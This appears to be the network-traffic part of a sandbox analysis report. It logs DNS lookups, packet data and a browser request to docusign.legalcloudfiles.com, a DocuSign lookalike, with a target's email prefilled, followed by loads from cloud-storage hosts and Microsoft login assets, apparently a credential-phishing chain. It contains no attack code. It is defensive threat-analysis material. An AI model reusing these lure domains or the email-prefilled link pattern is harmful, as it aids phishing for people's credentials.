Jan 14, 2025 17:25:34.116204023 CET	53	61555	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.116220951 CET	53	59980	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.140050888 CET	53	58808	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.140064955 CET	53	57375	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.147679090 CET	51172	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.147886992 CET	60793	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.148626089 CET	50636	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.148766994 CET	58065	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.154524088 CET	53	51172	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.155000925 CET	53	60793	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.155303955 CET	53	50636	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.155612946 CET	53	58065	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.497103930 CET	53	57298	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:35.521239042 CET	65429	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:35.521296978 CET	53914	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:35.523654938 CET	58271	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:35.523834944 CET	64805	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:35.737360001 CET	53	64805	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:35.738200903 CET	53	58271	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:35.929049969 CET	53	53914	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:35.933345079 CET	53	65429	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:39.947067976 CET	63281	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:39.947220087 CET	57412	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:40.162250042 CET	53	63281	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:40.206197977 CET	53	57412	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:42.971431017 CET	52639	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:42.971596003 CET	63906	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:43.084981918 CET	53	58955	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:44.037107944 CET	53326	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:44.037295103 CET	65391	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2025 17:23:02.973155975 CET	192.168.2.4	1.1.1.1	c212	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 17:23:01.082469940 CET	192.168.2.4	1.1.1.1	0xc2a6	Standard query (0)	docusign.legalcloudfiles.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:01.082721949 CET	192.168.2.4	1.1.1.1	0xc414	Standard query (0)	docusign.legalcloudfiles.com	65	IN (0x0001)	false
Jan 14, 2025 17:23:02.954988956 CET	192.168.2.4	1.1.1.1	0x7c66	Standard query (0)	docusign.legalcloudfiles.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:02.955185890 CET	192.168.2.4	1.1.1.1	0x6b4b	Standard query (0)	docusign.legalcloudfiles.com	65	IN (0x0001)	false
Jan 14, 2025 17:23:04.364583969 CET	192.168.2.4	1.1.1.1	0x832b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:04.364713907 CET	192.168.2.4	1.1.1.1	0x1421	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:23:04.980631113 CET	192.168.2.4	1.1.1.1	0xe526	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:04.980771065 CET	192.168.2.4	1.1.1.1	0x4755	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 14, 2025 17:23:05.875587940 CET	192.168.2.4	1.1.1.1	0x2d10	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:05.875746965 CET	192.168.2.4	1.1.1.1	0x9d2d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:23:05.879939079 CET	192.168.2.4	1.1.1.1	0x4dd8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:05.880085945 CET	192.168.2.4	1.1.1.1	0x6e13	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:23:08.912429094 CET	192.168.2.4	1.1.1.1	0x65b8	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:08.912429094 CET	192.168.2.4	1.1.1.1	0x427b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:12.299403906 CET	192.168.2.4	1.1.1.1	0xb690	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:12.299571037 CET	192.168.2.4	1.1.1.1	0x3e7	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:33.293397903 CET	192.168.2.4	1.1.1.1	0x30c6	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.293819904 CET	192.168.2.4	1.1.1.1	0xcd8a	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:33.298804045 CET	192.168.2.4	1.1.1.1	0xc290	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.298947096 CET	192.168.2.4	1.1.1.1	0xee98	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:33.299321890 CET	192.168.2.4	1.1.1.1	0xf80b	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.299434900 CET	192.168.2.4	1.1.1.1	0x8623	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:33.300390959 CET	192.168.2.4	1.1.1.1	0xf1c7	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.300514936 CET	192.168.2.4	1.1.1.1	0x9bb4	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:33.300822973 CET	192.168.2.4	1.1.1.1	0x27fa	Standard query (0)	2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.300981998 CET	192.168.2.4	1.1.1.1	0xf258	Standard query (0)	2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:34.048418045 CET	192.168.2.4	1.1.1.1	0xfca	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.048563957 CET	192.168.2.4	1.1.1.1	0x4f20	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:34.107917070 CET	192.168.2.4	1.1.1.1	0xd7a2	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.108059883 CET	192.168.2.4	1.1.1.1	0xe53c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:34.147679090 CET	192.168.2.4	1.1.1.1	0xe249	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.147886992 CET	192.168.2.4	1.1.1.1	0xf921	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:34.148626089 CET	192.168.2.4	1.1.1.1	0xe67c	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.148766994 CET	192.168.2.4	1.1.1.1	0xf574	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:35.521239042 CET	192.168.2.4	1.1.1.1	0x5092	Standard query (0)	2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.521296978 CET	192.168.2.4	1.1.1.1	0x350a	Standard query (0)	2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:35.523654938 CET	192.168.2.4	1.1.1.1	0x8172	Standard query (0)	2043758164.cloudhostbuilder.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.523834944 CET	192.168.2.4	1.1.1.1	0xe690	Standard query (0)	2043758164.cloudhostbuilder.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:39.947067976 CET	192.168.2.4	1.1.1.1	0xd587	Standard query (0)	2043758164.cloudhostbuilder.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:39.947220087 CET	192.168.2.4	1.1.1.1	0x3402	Standard query (0)	2043758164.cloudhostbuilder.com	65	IN (0x0001)	false
Jan 14, 2025 17:25:42.971431017 CET	192.168.2.4	1.1.1.1	0xa1ed	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:42.971596003 CET	192.168.2.4	1.1.1.1	0xcd89	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 14, 2025 17:25:44.037107944 CET	192.168.2.4	1.1.1.1	0x4092	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:44.037295103 CET	192.168.2.4	1.1.1.1	0x828e	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 17:22:49.963968039 CET	1.1.1.1	192.168.2.4	0xc7bc	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:22:49.963968039 CET	1.1.1.1	192.168.2.4	0xc7bc	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:01.096580029 CET	1.1.1.1	192.168.2.4	0xc2a6	No error (0)	docusign.legalcloudfiles.com		172.67.210.82	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:01.096580029 CET	1.1.1.1	192.168.2.4	0xc2a6	No error (0)	docusign.legalcloudfiles.com		104.21.37.156	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:01.099742889 CET	1.1.1.1	192.168.2.4	0xc414	No error (0)	docusign.legalcloudfiles.com			65	IN (0x0001)	false
Jan 14, 2025 17:23:02.972119093 CET	1.1.1.1	192.168.2.4	0x6b4b	No error (0)	docusign.legalcloudfiles.com			65	IN (0x0001)	false
Jan 14, 2025 17:23:02.972924948 CET	1.1.1.1	192.168.2.4	0x7c66	No error (0)	docusign.legalcloudfiles.com		172.67.210.82	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:02.972924948 CET	1.1.1.1	192.168.2.4	0x7c66	No error (0)	docusign.legalcloudfiles.com		104.21.37.156	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:04.371546984 CET	1.1.1.1	192.168.2.4	0x832b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:04.371546984 CET	1.1.1.1	192.168.2.4	0x832b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:04.371789932 CET	1.1.1.1	192.168.2.4	0x1421	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 17:23:04.987483978 CET	1.1.1.1	192.168.2.4	0xe526	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:04.988279104 CET	1.1.1.1	192.168.2.4	0x4755	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 14, 2025 17:23:05.882364988 CET	1.1.1.1	192.168.2.4	0x2d10	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:05.882364988 CET	1.1.1.1	192.168.2.4	0x2d10	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:05.885030985 CET	1.1.1.1	192.168.2.4	0x9d2d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 17:23:05.887442112 CET	1.1.1.1	192.168.2.4	0x4dd8	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:05.887442112 CET	1.1.1.1	192.168.2.4	0x4dd8	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:23:05.889318943 CET	1.1.1.1	192.168.2.4	0x6e13	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 17:23:08.919188976 CET	1.1.1.1	192.168.2.4	0x65b8	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:12.307751894 CET	1.1.1.1	192.168.2.4	0x3e7	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:12.307780027 CET	1.1.1.1	192.168.2.4	0xb690	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:12.307780027 CET	1.1.1.1	192.168.2.4	0xb690	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.300935030 CET	1.1.1.1	192.168.2.4	0x30c6	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.300935030 CET	1.1.1.1	192.168.2.4	0x30c6	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.300935030 CET	1.1.1.1	192.168.2.4	0x30c6	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.300935030 CET	1.1.1.1	192.168.2.4	0x30c6	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.306008101 CET	1.1.1.1	192.168.2.4	0xee98	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:33.306265116 CET	1.1.1.1	192.168.2.4	0xc290	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.306265116 CET	1.1.1.1	192.168.2.4	0xc290	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.306653023 CET	1.1.1.1	192.168.2.4	0xf80b	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.306653023 CET	1.1.1.1	192.168.2.4	0xf80b	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.307379961 CET	1.1.1.1	192.168.2.4	0x8623	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:33.307698965 CET	1.1.1.1	192.168.2.4	0xf1c7	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.307698965 CET	1.1.1.1	192.168.2.4	0xf1c7	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.308545113 CET	1.1.1.1	192.168.2.4	0x9bb4	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	cos.sa-saopaulo.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.15	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.10	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.191	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.192	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.205	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.247	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:33.693059921 CET	1.1.1.1	192.168.2.4	0x27fa	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.241	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.116204023 CET	1.1.1.1	192.168.2.4	0x4f20	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:34.116220951 CET	1.1.1.1	192.168.2.4	0xfca	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.116220951 CET	1.1.1.1	192.168.2.4	0xfca	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.140064955 CET	1.1.1.1	192.168.2.4	0xd7a2	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.140064955 CET	1.1.1.1	192.168.2.4	0xd7a2	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.140064955 CET	1.1.1.1	192.168.2.4	0xd7a2	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.140064955 CET	1.1.1.1	192.168.2.4	0xd7a2	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.154524088 CET	1.1.1.1	192.168.2.4	0xe249	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.154524088 CET	1.1.1.1	192.168.2.4	0xe249	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.155000925 CET	1.1.1.1	192.168.2.4	0xf921	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:34.155303955 CET	1.1.1.1	192.168.2.4	0xe67c	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.155303955 CET	1.1.1.1	192.168.2.4	0xe67c	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:34.155612946 CET	1.1.1.1	192.168.2.4	0xf574	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Jan 14, 2025 17:25:35.738200903 CET	1.1.1.1	192.168.2.4	0x8172	No error (0)	2043758164.cloudhostbuilder.com		69.49.230.198	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	cos.sa-saopaulo.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.205	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.247	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.241	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.135.205.15	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.10	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.191	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:35.933345079 CET	1.1.1.1	192.168.2.4	0x5092	No error (0)	cos.sa-saopaulo.myqcloud.com		43.157.144.192	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:40.162250042 CET	1.1.1.1	192.168.2.4	0xd587	No error (0)	2043758164.cloudhostbuilder.com		69.49.230.198	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:42.978601933 CET	1.1.1.1	192.168.2.4	0xa1ed	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:42.978601933 CET	1.1.1.1	192.168.2.4	0xa1ed	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:42.978601933 CET	1.1.1.1	192.168.2.4	0xa1ed	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:42.979124069 CET	1.1.1.1	192.168.2.4	0xcd89	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:42.979124069 CET	1.1.1.1	192.168.2.4	0xcd89	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:43.007738113 CET	1.1.1.1	192.168.2.4	0x4846	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:43.007738113 CET	1.1.1.1	192.168.2.4	0x4846	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:43.764173985 CET	1.1.1.1	192.168.2.4	0xcb6f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:43.764173985 CET	1.1.1.1	192.168.2.4	0xcb6f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:44.044296026 CET	1.1.1.1	192.168.2.4	0x4092	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:44.044296026 CET	1.1.1.1	192.168.2.4	0x4092	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:44.044296026 CET	1.1.1.1	192.168.2.4	0x4092	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 14, 2025 17:25:44.044832945 CET	1.1.1.1	192.168.2.4	0x828e	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 17:25:44.044832945 CET	1.1.1.1	192.168.2.4	0x828e	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

docusign.legalcloudfiles.com

https:

challenges.cloudflare.com

code.jquery.com

stackpath.bootstrapcdn.com

maxcdn.bootstrapcdn.com

cdnjs.cloudflare.com

2043758164-1323985617.cos.sa-saopaulo.myqcloud.com

2043758164.cloudhostbuilder.com

aadcdn.msftauth.net

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49732	2.17.190.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 17:22:49.950396061 CET	874	IN	HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 471 Cache-Control: max-age=5882 Expires: Tue, 14 Jan 2025 18:00:51 GMT Date: Tue, 14 Jan 2025 16:22:49 GMT Connection: keep-alive Server-Timing: cdn-cache; desc=HIT Server-Timing: edge; dur=1 Akamai-GRN: 0.9f8f1402.1736871769.291b779 Server-Timing: ak_p; desc="1736871769862_34901919_43104121_7607_1109_164_0_-";dur=1 Data Raw: 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 18 0f 32 30 32 35 30 31 31 33 31 39 30 31 34 37 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 39 d2 8b 71 fe 1d 19 b6 5f b3 f1 28 8f 23 bc 04 59 5c 43 95 04 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 02 10 05 19 65 26 44 9a 5e 3d 1a 38 74 8f 5d cf eb cc 80 00 18 0f 32 30 32 35 30 31 31 33 31 39 30 31 34 37 5a a0 11 18 0f 32 30 32 35 30 31 32 30 31 39 30 31 34 37 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 a1 c4 56 46 da 09 6d 72 54 de 3e e2 ba a9 8a 62 79 ad 16 0c 4e 9f b4 f2 04 99 c4 29 f9 e4 38 2e 44 63 f7 34 97 1f a2 d7 41 18 bf 6e dc 5f 26 82 39 e5 3a 33 d2 de 8e 32 23 f1 a3 a5 08 e6 9f f7 4e c4 79 7b 0c 07 0d d0 20 eb f2 22 65 3e 3a f8 87 31 dc 33 9d 22 d9 6c c3 b7 36 f3 3a 8d cc 23 d3 33 03 d2 4c 6f 0c 60 ab cf c0 ef d8 70 e0 79 4c c0 52 18 7a 3b b5 5d c8 31 54 [TRUNCATED] Data Ascii: 00+000N"T n920250113190147Z0s0q0I0+9q_(#Y\CN"T n9e&D^=8t]20250113190147Z20250120190147Z0*HVFmrT>byN)8.Dc4An_&9:32#Ny{ "e>:13"l6:#3Lo`pyLRz;]1TAX:c3wuZ?udkK=`hF`%LRVBZ,=185q_/NV(]\|^}DD<2A

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	172.67.210.82	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:02 UTC	709	OUT	GET /S06ga?e=ecastillo@seguridadamerica.com HTTP/1.1 Host: docusign.legalcloudfiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
